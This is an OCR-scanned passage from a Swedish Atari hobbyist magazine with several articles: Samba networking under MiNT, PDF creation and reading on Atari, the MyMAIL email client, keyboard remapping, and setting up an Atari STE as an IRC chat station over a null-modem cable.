smb.conf &r indelad i sektioner. Parametrar under den forsta [
av dem [global] anvinds av Samba Server i sin helhet eller
innehéller forsatta virden for de andra sektionerna, som inte
iregel dndras pd. Allt under sektionen [homes] gés igenom
ndr man begir en anslutning till exempelvis en utdelad
mapp pa en dator i nétverket. Fir man en “triff” i denna
sektion vid en anslutning, s anvinds parametrarna i
sektionen. Skulle man inte f en triff d anses att ett
anvéndarnamn skall anvéndas och passwordfilen gés |
igenom. Skulle sedan denna anvéndare finnas i passwd-filen
s anvinds denna for anslutningen till den delade mappen.
Nér man sitter upp Samba och vill se att det fungerar, s bor]
man anvinda ange guest nir man vill ansluta mot en delad
mapp i nitverket inledningsvis. Det blir annars svart att
felsoka varfor ingen anslutning gjordes, berodde det pA att
anvindarnamnet &r fel? Eller 16senordet? Eller har man
stdngt av géstkonton pa Windows eller Linuxdatorn?

Det finns fler sektioner i smb.conf bland annat [printers],
men beakta fortfarande att vi hiir kér en smb-klient och inte
har en Samba Server pa Ataridatorn. I mitt fall har jag ingen
skrivare kopplad till Ataridatorns parallellport och skall
borja ge behorigheter till anvindare i nétverket, utan jag vill
komma &t en annan skrivare i nitverket.

Samba och MINT

Laddade hem distributionen samba-1.9.18p3-mint.tar.gz pa
miktiga 8900 Kbyte for att f4 mig en bild av hur det star till
med samba dven under MiNT. Aldrig tidigare har en
uppackare pd min Atari Falcon fétt en sddan uppgift att dra
loss denna méngd sammanfogade datafiler. Hela 261 filer
med kéllkod, 66 filer dokumentation, 30 exempelfiler och
mycket mera. Visst har man valt att ta med original-
distributionen av Samba i MiNT-paketet dirav denna
jattefil.

Tack vare att MagiCNet bottnar i MiNTnet s ir det mjligt
att kora de bindrer och program som frn bérjan portats till
MiNTnet, bland annat de som aterfinns pa SpareMiNT
hemsida. Lade inte ner s& mycket tid att g4 igenom hela
Samba for MiNT men testkorde ndgra av programmen,
bland annat den smb-klient som ingér ddr, smbclien. For att
kunna kora de bindrer som finns foér MiNTnet, s& fir man
under MagiC lagga till filtypstilligg pa dessa. smb-klienten
jag namnde hir far dopas om till smbclien.ttp sa drar den
igéng. smbtar finns med hir och dven smbd. Framférallt s&
finns Samba Server med i detta enorma arkiv och att starta
upp denna ger mojlighet att se delade resurser i exempelvis
ett Windowsnétverk.

D& MiNT-distributionen 4r s& omfattande, s& har man 4dven
glidje av alla de manualsidor bdde som text och html-
format.
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BNet och smb

Ett efterlingtat projekt Vassilis Papanthanassiou héller pa
med just nu ér att integrera smb i hans skapelse BNet. BNet
anvinds redan idag som ett Drag&Drop hjélpmedel under
MagiC med att via GEM-fonster nd Ataridatorer samman-
kopplade med TCP/IP.

#[U:\HAGXNET\ERICANK[ B] a[H
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Hiir ser vi en BNet anslutning mellan tvé Atari, en STE
benamnd Michelle varifran denna bild dr tagen, samt en
Falcon med namnet Erica. Ett mycket bra verktyg att fora
dver datafiler i GEM-miljo. Anslutningen mellan dem sker i
mitt fall via en billig nollmodemkabel och MagiCNet. Mer
om dessa tva datorer beskrivs i artikeln Chat Station.

Samba Server

Under tiden jag skriver denna artikel har jag e-postkontakt
med Vassillis och far hora att han dr pa sluttampen att f& en
smb-server att fungera. Med denna kommer en Ataridator
med MagiCNet bli en helt annan och naturligt ansluten
dator i hemnitverket med atkomst till de tillgdngar och
resurser som finns till buds.

Skapa PDF-Filer

av Jonas Méller Nielsen

ar du gétt och ldngtat efter att kunna skapa dina egna

PDF-dokument pa din Atari? Antligen dr det méjligt.
Med Calamus och modulen Bridge 5 4r det hur litt som
helst. Bridge 5 slipptes for nagra manader sedan och i den
ar det nu méijligt att spara sina Calamus-dokument i PDF-
format. Modulen dr mycket enkel att anvédnda och trots att
det mesta 4r vildigt intuitivt f6ljer det, som alltid, med en
bra bruksanvisning till Bridge 5-modulen. Nackdelen r att
bruksanvisningen enbart #r pé tyska, men sjdlva modulen
kan fis pé engelska. Fast s& mycket text 4r det inte frigan
om.

Aven om PDF-exporten dr mycket enkel, finns det vissa val
man kan gora.

* Man kan vilja om hela sidan/dokumentet skall exporteras
eller bara den aktiva ramen.

'Ly
12

* Det gér dven att vélja hur dubbelsidor skall exporteras.
Tillsammans eller var for sig. Tillsammans innebdr att t.ex.
2 A5 sidor exporteras pa en liggande A4 istdllet for att delas
pa tva separata AS-sidor. Fordelen ér att rubriker och bilder
som gér dver bida sidorna inte skirs itu.

» Man kan vilja att inte exportera pixelbaserad grafik.
« Man kan vilja att inte exportera vektorbaserad grafik.

« Om man bara vill exportera bilder och ingen text 4r det
mojligt.

» Ramar som #r satta som masker, kan man vilja att inte
exportera.

» Text kan exporteras pé tva olika sitt: antingen som vanlig
text, som ir vanligast, eller som vektorgrafik. Det forsta
fallet innebdr att texten exporteras som text med informa-
tion om typsnitt, storlek, firg och s vidare precis som i
vilket ordbehandlingsprogram som helst. I det senare fallet
exporteras texten som vektoriserade bilder. Det innebér att
informationen om vilka bokstdver, typsnitt med mera som
texten utgdrs av, gr forlorad. Om texten exporteras i
vektorformat gér det alltsa inte ldngre att soka i texten i den
firdiga PDF-filen. Texten kan heller inte blockmarkeras och
kopieras till andra program. En annan nackdel &r att PDF-
filen blir stdrre pa det hir viset. Anledningen till att man vill
kunna exportera texten i vektorformat r att vissa tryckerier
foredrar texten pa det sittet framfor att texten exporteras pa
vanligt vis, allts& som text.

Nir man valt vad man vill exportera enligt ovan, s dr det
dags att vilja vilken kvalitet man vill ha (den dialogrutan
visas inte). Man viljer vilken upplésning man vill ha pa
bitmappade bilder. En dokument som bara skall visas pa
bilskdrm, kriver inte lika hég kvalitet som t.ex. ett doku-
ment som gér till ett tryckeri. Likasé viljer man hur ménga
farger man vill ha i dokumentet. Man kan vilja mellan fyra
olika fargerkvaliteter: i = ] et

¢ monokrom

* graskala
« true colour RGB
* CMYK-separerat

Man kan dven lagra information om
hur filen skall skrivas ut och om det
skall finnas med skdrmérken. Sen &r
det bara att klicka pa OK och vinta
tills filen exporteras till en PDF-fil.
Det tar lite tid dven pa en Hades
060. Sirskilt om man har mycket
bilder med och flera sidor. Men det
ar klart vért besvéret. Jag har testat
PDF-filerna bade under Acrobat
Reader 5 pé en Windows-utrustad
PC samt i Porthos pa min Hades
utan problem med att se filerna.

PDF
Ogﬁ

Mitt betyg ér att Bridge 5 héller bra kvalitet och dr mycket
enkel att anvinda och dérfor ér vil vird sina pengar, c.a.
500,- SEK i uppgraderingskostnad om man har Bridge 4.
Srskilt nidr man tinker pa att Acrobat programmet pa PC
kostar flera tusen for samma arbete.
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MyMAIL

av Erik Hall

Historia

et startade i liten skala 1996 med att jag hade problem

med svenska tecken i e-post da det enda e-post-
programmet for Atari var AntMail. Efter lite funderande sa
skrev jag den forsta koden till en e-postklient. Denna kod
var mycket liten och mycket enkel men fyllde sitt syfte, att
kunna ldsa e-post med svenska tecken och dven skicka
meddelanden dessa tecken, samt skicka storleksméssigt sma
meddelanden.

Nu maste ju koden f4 ett namn och efter lite funderande si
blev det MyMAIL (my=? &r ju en liten méttenhet). Efter att
ha lagt ut koden pa Internet blev gensvaret enormt d4 ett
sddant behov fanns. Problemet jag fick nu var att jag inte
planerat ett avancerat program, utan litet enkelt program
som inte skulle bli storre. Detta var helt fel tinkt med tanke
pa vad som hint sa jag har fatt 14gga ned massor med tid pa
att helt eller delvis skriva om massor av kod. Tanken var
och &r att MyMAIL skall vara enkelt att anvinda men #nd4
ha massor av méjligheter.

Framtiden

Planerna &r att MyMAIL &ven skall klara att hantera News
och det finns redan en grundkod till detta men det finns idag
brister i programmet for att det skall vara anviindbart och
sldppas i en riktig distribution. Det som brister idag ir
huvudfénstret som inte dndrat utseende pa vildigt linge och
att det inte gar att bygga vidare pa nuvarande design. Detta
kommer att &ndras i framtiden men det 4r ett ganska
omfattande arbete att skriva om huvudfénstrets kod. Det
som kommer att tillkomma #r t ex de delar som behdvs for
News, sortering, visa prioritet, f6lja trddar och mycket
annat. Dessutom skall fonstret inte ha en fast storlek utan
den skall g4 att dndra. Det enda problemet med varierbar
storlek och sortering &r att det gor programmet soligare.

Lite vad MyMAIL stédjer idag:
* BubbleGEM

* Objektldankning med OLGA
* AV-Server
* Drag’n’Drop
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* Filkodning/avkodning med Base64
(Mime), uucode och delvis binhex.

* Svenska tecken
* Multi tradat i MINT

* Inbyggd e-posteditor med massor av extra
funktioner

* Valbara ldnkar (FTP,HTTP och e-postad-
resser)

WMV N MY e s v e e
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* Valbar firg pa lankar

<flternates direkt efter det ait HDOBIUER bor jat del
hrgdisken. D4 hoppar boolningen duer stia BUTO- ac
ACC-progren. Han kan dérefter gd in ¢ AUYG-mappen
det Telsnoe progrannet.

* Valbar typsnittsfirg

* Valbar typsnittsfirg pa infilld text

* Valbar bakgrundsfirg

* Textsokning

* Nér man skriver e-postadressen sa visas forslag pa
en adress i faltet man skriver i och vill man ha det
sa trycker man bara TAB.

* Adressbok med alias

* Kan starta STinG modemuppringare

* Tidsstyrd kontroll av e-post

* Exportering av e-post som Text eller HTML

* All Dokumentation i HTML format

* Kan skicka Netscapes Visitkort

* Avkodar dven daligt kodade mail from Outlook Express

* Mojligt att radera e-post innan dom himtas hem

* SPAM filter som automatiskt raderar oonskade meddelan
den.

* Icke-blockerande popupmenyer
* Vissa popupmenyer kan naglas fast pa skrivbordet

* De flesta dialogboxarna #r icke-blockerande (dvs i
fonster)

Nyheter

Det &r inga stora nyheter i MyMAIL som kommer nista
gang utan mestadels bara rittningar. Kontroll av mailen &r
for stora f6r mailservern innan dom skickas och om dom &r
for stora sd avbryts 6verforingen. Stéd for fontvéljare som
anvénder sej av XFSL protokollet. En kraftig genomgéang av
koden till MyMAILs editor, detta for att rensa bortonddig
kod, se till att designen &r korrekt och snygg. Block marke-
ringen av text fungerar inte bra och detta skall jag forsoka 3
att fungera bittre. Massor av felrittningar av huvudfonstret
sd att jag kan starta ny design av huvud fonstret utan att fa
med en massa fel. Som vanligt 4r det massor med smaéfel
som &r rittade. Den senaste versionen hittar du alltid pd min
hemsida:

http://www2.tripnet.se/~erikhall/programs/mymail.html
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Atari & Ethernet

Det ar glddjande att hora hur Elmar Hilgart fortsétter med
att skapa hardvaruldsningar for att datorer av modell Atari
skall erhalla nétverksstod. Narmast till hands utvecklas just
nu en ACSI Ethernet Adapter, som skall testas i drift redan
nu i slutet pa aret. Nagon dito fér SCSI ligger inte till hands
dé han parallellt utvecklar en ny ROM-port Ethernet
Adapter, dédr hardvarukomponenterna inte kommer att ta
slut utan meningen r att, behgver nagon ge sin Atari
nitverksstod sé skall det alltid gé att bestélla. Detta later
betryggande och bra for 2002.
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Original Atari har &n en gang kunnat anvidndas med ny
teknik, vi har sett att det gick bra att byta ut datamodemet
till forman for Ethernet och att ha en Atari ansluten till ett
LAN och i forldngningen Internet denna vég ger datorn
oanade mojligheter.

Livet i 8 bitar

Multimediakonsollen Atari Jaguar far under 2002 uppmérk-
samhet i Sverige i form av en biofilm framtagen av Svensk
Filmindustri. SF har varit i kontakt med Svenska
Atariklubben och fragat om féreningen kunde lana ut 4-6
Jaguarer inom den korta tiden av fem dagar. Nu &dger
foreningen inga resurser av varken Jaguar eller datorer da
allt sker pa ideell basis. Hade en rundringning i G6teborg
och e-brev till de jag vet har mer dn en Jaguar, men pa den
korta tiden var det omdojligt att fa detta antal paketerat och
skickat till Stockholm. Heine Svendsen pa Indigo2 {61l
lotten pa da han hade Jaguarer som han hade svart att silja.

Filmen Livet i 8 bitar i sig, handlar om en kristen familj dar
sonen vill bryta sig loss fran det harda hierarkiska familjeli-
vet genom bland annat dra ivég till Bangkok pé en spel-
tavling for mastare. Att SF valt att tdvlingsdatorerna skulle
bli Jaguar &r ju trevligt och vad jag erfar sa fanns tva viljor
hos dem som idogt framhéll Nintendo. Nu ville ju SF ha
dem anslutna i som de uttryckte det, nétverksspel och detta
var dnnu svarare att ordna dn 4-6 datorer pé fem dagar.
Dessutom #r inte manga spel till Jaguaren for mer eller tva
spelare samtidigt. Néamnde Cat-box men de bestimde sig att
istdllet redigera inspelningen sapass att det kommer att se ut
som Jaguarerna &r sammankopplade.

14
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Porthos - Las PDF

av Jonas Maéller Nielsen

ar du saknat att kunna ldsa och skriva ut PDF-filer fran

din Atari? Sarskilt myndigheter 14gger nu ut sina
blanketter och sitt informationsmaterial i PDF-format pa
sina hemsidor och jag har allt oftare saknat en PDF-14sare
pa min Atari.

Det &r Invers Software, foretaget som ligger bakom
Calamus, som nu introducerar en PDF-lésare till Atari. Den
heter Porthos och dr mycket enkel att anvédnda. P4 Atari har
vi tidigare varit hénvisade till Ghostscript, som bade &r svér
att hitta och framfor allt att installera. Porthos dr mycket
enkel att installera - det 4r bara att packa upp den ZIPade
filen och dérefter dubbelklicka pa programmikonen. Det
skall tilldggas att om man kor programmet pa ett filsystem
som gor skillnad pa gemener och versaler, sa skall samtliga
filer dopas om till versaler for att programmet skall fungera
fullt ut.

Sprak

For nirvarande dr Porthos uppe i version 1.26 och finns i

flera olika sprak: tyska, engelska, tjeckiska, italienska och
svenska. Spréket &r enkelt att vilja inne fran programmet.
Nagot byte av resursfil dr alltsd inte nddvindig.

Huvudfonstret

v

) weswamew

I huvudet pa varje 6ppet PDF-dokument finns nigra olika
ikoner. Dels finns en ikon som visar information om aktuellt
dokument. Darefter kommer sidnavigeringsfiltet foljt av de
tre olika knapparna for zoomlége: naturlig storlek, anpassat
sd att dokumentet far plats pa hojden eller bredden. Léngst
till hoger finns ikonen for utskrift. Porthos anvinder sig av
WDIALOG for utskriftshanteringen s om du inte anvénder
MagiC sa maste WDIALOG vara installerad.

Systemkrav

Porthos kréver foljande for att fungera:
* Multitasking (MiNT/N.AES/MagiC)
* WDIALOG eller MagiC 3
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* NVDI 5 eller senare
* Papillon om man vill kunna exportera bilder fran PDF-

dokumenten

Installningar

© e ¢ ¢ e e o 6 6 2 0 s 6 0 s @

Det gér redan i nuvarande version att stélla in flera olika
saker. Bland annat har Porthos egen cache-funktion for bade
bildskdrm och sidbeskrivning. Dessa kan slas av och pa var
for sig. Bakgrundsfirgerna kan dven de viljas fritt.

Allmaént intryck

Jag personligen tycker att Porthos 4r en fantastisk PDF-
lasare. Jag har dnnu inte stott pd ndgra PDF-dokument som
Porthos inte klarat av. Dessutom &dr Porthos mycket snabb.
Mycket snabbare &n originalet Acrobat Reader 5 som jag
jamfort mot. Aven utskrifter gér fint frin Porthos.

Enda nackdelen &r att Porthos lyckats hitta en bugg i
N.AES. Det innebdr att alla vi som kor N.AES far finna oss
i att Porthos emellanat kraschar vara system. Den hir
buggen héller man som tur dr pa att ta bort till version av
N.AES som forvintas komma under nésta &r.

Pris m.m.

Porthos é&r shareware och som tur 4dr kan man képa den
direkt via Internet om man har kreditkort. Priset ar c.a. 350,-
SEK och det gér att betala med bland annat VISA och
MasterCard. For narvarande &r Porthos ute i versin 1.26
men det ryktas redan att version 1.27 4r pa gang. Demo
finns att hdimta pa Porthos hemsida dér dven registreringen

kan goras: http://www.dsd.net/prod/atari/porthos.php

Svenska Atari BBS’er!

Kockens BBS 040-500160
STraight BBS 031-446662

Tomba BBS 033-271760

BBS’erna ar 6ppna dygnet
runt! Vet du om nagon BBS
som inte 4r med hiar sa maila
till am@sak.nu
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Internationellt Tangentbord

av Jonas Méller Nielsen

Pz‘i PC och Macintosh har det alltid funnits mojligheten
att komma 4t alla dessa specialbokstéver som anvinds i |
andra sprak som danska, spanska, tyska m.fl. Atari har av
nagon underlig anledning aldrig sttt detta och anvéndarna
har i normala fall fatt anvinda sig av specialfunktioner i de
olika programmen for att kunna komma at de hér tecknen.
Alternativt halla nere Alternate-tangenten och knappa in
den 6nskade bokstavens ASCII-kod. Men det finns faktiskt
enklare 16sningar. Med hjilp av programmen CHKB och
Keyedit kan du enkelt fa ditt Atari-tangentbord att fungera
som ett PC dito och dessutom enkelt byta sprak/
tangentbordsuppsittning.

CHKB :
X Conpose

CHKB iér ett program som & Mo
normalt startas i AUTO-mappen. | X Extkey

Om du kér MiNT kan du 0 ALT-cnan L fnalish .}
lampligen starta programmet T Talile
P& pros applies to

efter bootningen. Det samma

borde gélla for anvéndare av
MagiC. Programmet har dven ett tillhérande CPX-program
som heter Keyboard Manager. I de flesta fall sa ricker
grundinstéllningarna gott och man behover inte gora nagot
som helst mer 4n att starta CHKB och se till att Keyboard
Manager kors.

Doéda tangenter

Normalt sett riiknas foljande Compose mode:

tangenter som doda tangenter, Compose order: [Order Indf.
det vill sdga att inget hander

.. ° 3 Valid Deadkeys are:
forsta gangen man trycker pa R I ]

dem: :, ~s A, >och™. De fungerar E:'gs:::hns
som s4 att om du till exempel

vill ha den spanska bokstaven i sé trycker du f6rst ner den
doda tangenten ~ och dérefter n. Vips sa har du fatt boksta-
ven fi! Vill du t.ex. ha ett e med accent, €, sa trycker du forst
ner den doda tangenten ’ och direfter e.

COMPOSED CHARATTERS. CONF IGURAT 0N

Ovriga bokstiver och tecken

Men det finns ju dven bokstéver som inte lika enkelt kan
kombineras ihop med hjdlp av de déda tangenterna. Ta t.ex.
det danska #:et, . Aven detta klara CHKB. Det man gor
forst 4r att trycka pa Alternate-tangenten. Dérefter knappar
man in dnskad bokstavskombination och vips far man den
onskade bokstaven. Under forutsittning att den finns vill
sdga. For att aterga till danskan. For att danskans @, méste
du alltsd forst trycka pa Alternate, dérefter trycker du pa a
och sist pa e. Nu dyker helt plotsligt & fram pa bildskédrmen.
Mycket enkelt och praktiskt. Danska i gors likadant. Tryck
pé Alternate, dérefter pa / och sist pd 0. Kombinationerna ér
manga och man kan sjilv dndra pd dem om man sd énskar.
Det hela gors i en textfil, men den standardfil som foljer
med lér rdcka for de flesta.
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Andra sprak/teckenuppséattningar

Keyboard Manager har &ven mgjlighet att byta tecken-/
sprakuppséttning pé tangentbordet. Men for att gora detta
maste man in i en textfil och manuellt mappa om tangen-
terna pa tangentbordet. Om man inte 4r intresserad av att
lisa bruksanvisningar och sitta sig in i detta protokoll, s&
rekommenderar jag att man anvinder Keyedit. Keyedit har
med tiden visserligen blivit gammalt men fungerar likafullt
for det. Fast anvindargrinssnittet dr inte av senaste snitt.

| Anvindare av single TOS 14r knappast mérka nigon

skillnad. Keyedit dr vildigt intuitivt och kréver inte att man
sétter sig in 1 en massa bruksanvisningar.

Keyedit startas pa vanligt vis. Upp dyker nu en bild av ett
standard Atari-tangentbord. Om man anvénder ett PC-
tangentbord kan man inte komma &t alla de nya tangenter
som tillkommit med &ren tyvérr. Det finns Under tangent-
bordet finns alla de tecken som man har till sitt forfogande.
Varje tangent pa tangentbordet kan ha tre tecken. Ett i
normallige, ett i shiftlédge och ett ndr Caps lock &r ned-
tryckt. Forst viljer man vilket lige som man vill program-
mera. Direfter markerar man vilken tangent som man vill
programmera om genom att klicka pa tangenten pa bild-
skdrmen. Sist viljer man ett tecken fran teckenlistan under
tangentbordet. S& gar man vidare och mappar om alla
tangenterna som man vill dndra pa. Sista sparar man allt.
Fér att kunna byta tangentbord vid bootning eller nédr som
helst d4 datorn #r igdng, s méste man vilja alternativet
Make loader. D4 genereras en programfil som nér den kors,
mappar om tangentbordet enligt dina 6nskemal.

Enkelt att vilja olika sprakuppsattningar

Om man ofta skriver med flera olika sprak, kan det vara
praktiskt att ha tillgdng till varje spraks egen tangentbords-
uppsittning. Om man som jag, ofta skriver p& danska, &r det
bokigt att hela tiden trycka ner Alternate, a och e for att fa
danskans . Det jag gor #r att jag med Keyedit gor tva olika
sprakfiler en svensk och en dansk. Nir jag vill byta fran
svenskt tangentbord till danskt kor jag bara den danska
programfilen som jag dopt till DK_KEY.PRG. Nu &r
tangentbordet med de danska bokstdverna litt tillgingliga.
Nir jag #r klar kor jag bara den svenska programfilen som
jag dopt till SVE_KEY.PRG och nu har jag dterigen ett
svenskt tangentbord. Det enda man skall ha i minnet &r att
om sprékfilen kores fore CHKB och dess CPX-file, s&
skrivs sprékinstillningen &ver. Men var bara lugn. Det &r
bara att kora din sprakfil igen sa dr tangentbordet s& som du
vill ha det.

Tips for anvandare av Jinnee

Om du har Jinnee 2 eller senare kan du ldgga alla dina olika
sprakprogramfiler i en sirskild mapp som du t.ex. kan kalla
Sprak. Dra sedan ut mappen pa skrivbordet. Andra nu
instillningarna for mappen sé att den &ppnar med enkel-
klick och att den dppnar som popup. Nar du vill byta
teckenuppsittning pa ditt tengentbord &r det bara att klicka
pé& mappen pa skrivbordet och dérefter vélja sprak i popu-
pen.
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Atari Chatstation

av Mille Babic

Har du en Atari STE hemma liggandes till ingen nytta,
s& kan du med enkla medel iordningsstilla denna dator
att fungera for chat pa Internet. Till priset av en billig
nollmodemkabel ansluter du denna dator till ditt hemnétverk
och anvinder den bland annat for att komma i kontakt med
likasinnade pé IRC. Ett bra alternativ om man inte vill
investera i en Ethernetadapter.

Vi kommer att genomfora konststycket att ansluta en dator
(en Atari STE) mot en IRC-Server i Luled utan hirddisk. En
bedrift som ses som en omdjlighet med andra datorplatt-
formar. Vi skall dven pa samma 720 Kbyte datadiskett ha ett
IRC-program, som gor att vi kan chatta med omvérlden
eller med likasinnade vad giller intresse for datorer och
Atari i synnerhet.

I ett annat exempel i artikeln kommer vi att forse vér dator
med en harddisk, en Atari Megafile60. Detta for att vi
kommer att kora MagiCNet under operativsystemet MagiC
och d& behover vi lagringsutrymme, bland annat for olika
applikationer.

Denna artikel kommer att beskriva hur du konfigurerar upp
en sadan i hemmet tystlaten dator, vilken hédr kommer att ha
som enda uppgift att ligga on-line med dina kompisar. Visst
gér det att anvinda den till mycket annat, men i ett hem-
nitverk har man oftast fler datorer som skoter detta. Hér far
man en burk eller riittare sagt, en hel skdrmyta som fungerar
som en kanal ut

i vérlden.

Vi kommer dven att titta p IRC i allménhet déar Mikael
Ljungberg sint in ett bidrag hur en “bot” fungerar.
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Lite Historik och funktion

Internet Relay Chat (IRC) &r ett konferenssystem som
skapades av en finldndare vid namn Jarkko Oikarinen fér 14
ar sedan. Systemet 4r uppbyggt att folk moter varandra i
olika rum eller kanaler, som det egentligen heter. Runt om i
vérlden finns det servrar som &r sammankopplade i olika
nitverk. Nitverk som IRCnet, DALnet och EFnet.
Servrarna inom ett nitverk dr synkroniserade vilket resulte-
rar i att man bara skall se till att logga pa typ nérmsta server
i ndtverket. De stora Internet leverantérerna har oftast en
egen server som finns i ngot av nétverken. I Sverige ér har
dessa oftast en Server pa IRCnet annars 4r det i regel de
stora universiteten som har dessa servrar.

0O &= &2
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IRC ér séledes ett flerkanaligt- och fleranvéndarsystem som
kors i globala nitverk. Det ger datoranvindare 6ver hela
varlden mojlighet att att konversera i realtid.

Hemma péa datorn krévs att man kommer &t Internet och
sedan att man har ett program fér IRC. Dessa program ir
enkla att konfigurera da man egentligen bara behéver tala
om (eller vilja) vilken server man vill bli kopplad

till (under vilket nétverk), sedan viljer man det rum (eller
flera samtidigt) som man vill husera i. De personliga
vidrdena man anger i programmet brukar vara vilket smek-
namn (nickname, handle) man vill anvénda. Oftast dven ett
alternativt smeknamn utifall det forsta skulle vara upptaget
av nagon. Ett falt for riktigt namn finns dven, men inga
16senord for inloggning i en Server. Det 4r det sistndmnda
som gor att man kan ansluta sig inte bara till ndrmsta Server
om man inte vill eller att den &r hart trafikerad.

Program korbara pa Atari har funnits sedan i stort sett dessa
datorer fick en egen TCP-stack. AtarIRC av Lonny L
Pursell arbetar under STiK API och uppdateras fortfarande,
senaste versionen kom i slutet av oktober. For de som
anvénder IConnect for uppringd Internet finns Chatter och
de som kér MiNT/MiNTnet finns en teckenbaserad portad
version av iirc.

Lite teori

Denna Atari STE vi skall anvidnda som en Chat-Station har
ingen Ethernet-adapter (e.g nétverkskort) och kan inte
anslutas mot ett ndtverksnav (hubb eller switch) i det lokala
hemnitverket. Darfor kan den aldrig bli en dator i hemniit-
verket utan man maste via ndgon annan dator né detta
nétverk, en annan dator som kommer att fungera som en
nitverksbrygga (router) for STE-datorn. Likasa som STE
inte kan bli en del av hemnitverket sa kan den inte anvinda

den nitverksadress som tidigare &r uppsatt fér hemnét-
verket. Losningen &r tdimligen enkel, man skapar ett nytt
nitverk hemma. Ett ndtverk dir denna STE huserar i och
anvénder en annan dator som brygga till hemnétverket.
Foljande nitverksadresser kommer vi anvénda:

192.168.0.0
192.168.1.0

Befintligt hemnéatverk

Det nya nétverket

Béda nitverken anvinder en nitverksmask (subnetmask) pa
255.255.255.0. Dyker man djupare in i ndtverkstopologin s
skulle man kunna téinka sig att dela det befintliga hemniit-
verket i tva delar genom att #indra nitverksmasken till
255.255.255.128. Finns ingen anledning att krangla till det
da det skulle innebéra att vi méste géra om hela hemniit-
verket genom att i varje dator tala om att vi skall dela
nitverket. Sedan anvinder ménga forsatta instéllningar att
man anvinder 255.255.255.0 som nitverksmask, MS
Windows som ett exempel. Vi skall bara ldgga till en dator
hemma inte géra om allt fran borjan om jag kan uttrycka det
sa.

I hemnitverket 192.168.0.0 har vi datorerna:

192.168.0.1 Dator med Internetanslutningsdelning (Tva
nétverkskort)

192.168.0.2 Atari Falcon

I det nya nétverket 192.168.1.0 har vi datorerna:

192.168.1.1 Atari Falcon
192.168.1.2 Atari STE

Visst dr det samma Atari Falcon i bida nétverken. Det ér
just detta som gor den till en nitverksbrygga i bida nit-
verken. Denna dators Ethernetadapter har adressen
192.168.0.2 eller egentligen den uppsatta TCP/IP-stacken
mot adaptern. Sedan har en av Falcens serieportar adressen
192.168.1.1, den port vi satt 9-pins dndan av nollmodem-
kabeln i Falcens Modem 2.

25-pins dndan av kabeln sitter i STE serieport. Denna
kommer att fa IP-adressen 192.168.1.2 nér vi kor STinG pa
denna dator. STEn i det nya nétverket kommer bara att se
datorer i det egna nétverket, dvs sig sjilv och Falcen. Att
den sedan kan nd andra datorer i hemnétverket och dven
Internet beror pa att Falcen routar all trafik.

Nér man satt upp en dator i ett nitverk eller som i vart fall
ett extra ndtverk hemma, sé &r alltid programmen PING och
TRACEROUTE anvindabara. De ger ett snabbt svar om
datorn verkligen fungerar i nétverket och kan né de andra
datorerna och med det sistndimnda programmet, vilken
fardrutt tar TCP-paketen for att na slutmalet.
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STinG har ett medlevererat program PING.PRG (med
1 resursfil PING.RSC) i distributionen. Startar vi programmet
_I'sakan vi skicka ett ping till Falcen pé adressen 192.168.1.1
__lloch se om vi fér ett svar. Svarar Falcen da vet vi att
L instéllningarna i bade STEn och Falcen, samt nollmodem-
_llkabeln 4r de rédtta. Sedan skickar vi en PING till
| Internetanslutningsdatorn i hemnétverket pa adressen
192.168.0.1, fér vi ett svar fran den sa &r det riktigt bra.

Nir vi kor traceroute sa anger vi dven har IP-adressen mot
Internetanslutningsdatorn da far vi hela fardrutten presente-
rad. Fran 192.168.1.2 (STE) via 192.168.1.1 (Falcen) till
slutmélet 192.168.0.1.

Skapa datadisketten

Denna 720 Kbyte datadiskett fungerar som startdiskett med
autostartande program vi skall anvénda for en anslutning till
ett LAN, samt cpx- och tcp-relaterade moduler for att
konfigurera och starta STinG. Vi plockar dven ur tva
program fran distributionen HS-Modem for att patcha
seriegranssnittet, retsen MFP for att eliminera nagra buggar
som finns i operativsystemet TOS 1.62 dedikerat serie-
portar.

Hir f6ljer hela datadiskettens innehall med filer och
mappar:

ANAUTON
DRIVIN.PRG
MFP.PRG
STING.PRG
STING.INF

\CPX\
SERIAL.CPX
STING.CPX
STNGPORT.CPX
STNGPROT.CPX
\STING\
CACHE.DNS
DEFAULT.CFG
RESOLVE.STX
ROUTE.TAB
SERIAL.STX
TCP.STX
UDP.STX
ATARIRC.APP
ATARIRC.RSC
XCONTROL.ACC

Instéllningsfilen ANAUTO\STING.INF innehéller bara en
rad och det &r sokvigen till var STX-modulerna fér STinG
ligger lagrade. Raden &r enligt A:\\STING\. Vi anvénder
CPX-moduler for att ge datorn nitverksanslutning, de
CPXer som medféljer STinG distributionen. Detta gor att vi
inte kommer att editera C:\STING\DEFAULT.CFG. Sedan
anvénder vi XControl som ACC for att CPX modulerna
skall kunna laddas. Varfor jag inte valt COPS beror mest pa
att jag ville fa sa mycket ledigt utrymme pa disketten som
mojligt, detta da COPS &ven vill ha programmet
ANAUTO\WWDIALOG.PRG.

f STinG VBL.26 STinG V01,26

® Active
. Serial Point to Point Link

| IP Address : 192.168.1
Subnet HasK | cen o s
| MTU : 4896_

Resolver |

Name Server !

| [@1192.168.4 .1l [3]
Domain !

| magxnet

Cache @

6d__ RRs [ Save

[oe] Cooncer ]

O Reload Routing Table

[Save ] | [0k ] [tancel ]

|_Save |

AtarIRC kommer att under konfigurering att skapa en
instéllningsfil kallad A:\ATARI.IRC. XControl kommer att
skapa instéllningsfilen AANCONTROL.INF IRC med
MagiCNet. Sparar man dessutom néagon instillning fran
skrivbordet, sa dyker givetvis filen A:\DESKTOP.INF upp.

Anvanda MagiCNet istillet

Pa harddisken har jag installerat operativsystemet MagiC
Atari och via en annan dator i hemnétverket himtat hem
gratisdistributionen av MagiCNet fran Internet. Denna finns
dven pa Atarimagasinet tidningsdiskett nummer 1, 2001.
MagiCNet har inget eget installationsprogram utan forlitar
sig pa kopiering av datafiler. Programmeraren har i den
packade filen lagt filerna i mappar som representeras var de
skall ligga pé harddisken, alltsa befintliga mappar som
installationen av MagiC har skapat.

For att lattare forsta och f6lja texten i artikeln sa skall vi
anvinda datornamn i fortsittningen. Datorerna dr namn-
givna enligt f6ljande:

Nitverk 1: 192.168.0.0 kallar vi ATHOME
192.168.0.1 Sophie - Internetanslutningsdelning
192.168.0.2 Erica — Atari Falcon

Nitverk 2: 192.168.1.0 kallar vi magxnet
192.168.1.1 Erica — Atari Falcon Nétverksbrygga som ovan
192.168.1.2 Michelle — Atari STE

For att spara pa internminnet i STE-datorn sa installerar vi
inget skrivbordsalternativ, som jinnee utan nojer oss den i
MagiC medftljande MagXDesk. Tanken &r att vi skall kora
en JRC-klient och varfor inte kora iirc-2.8 som portats till
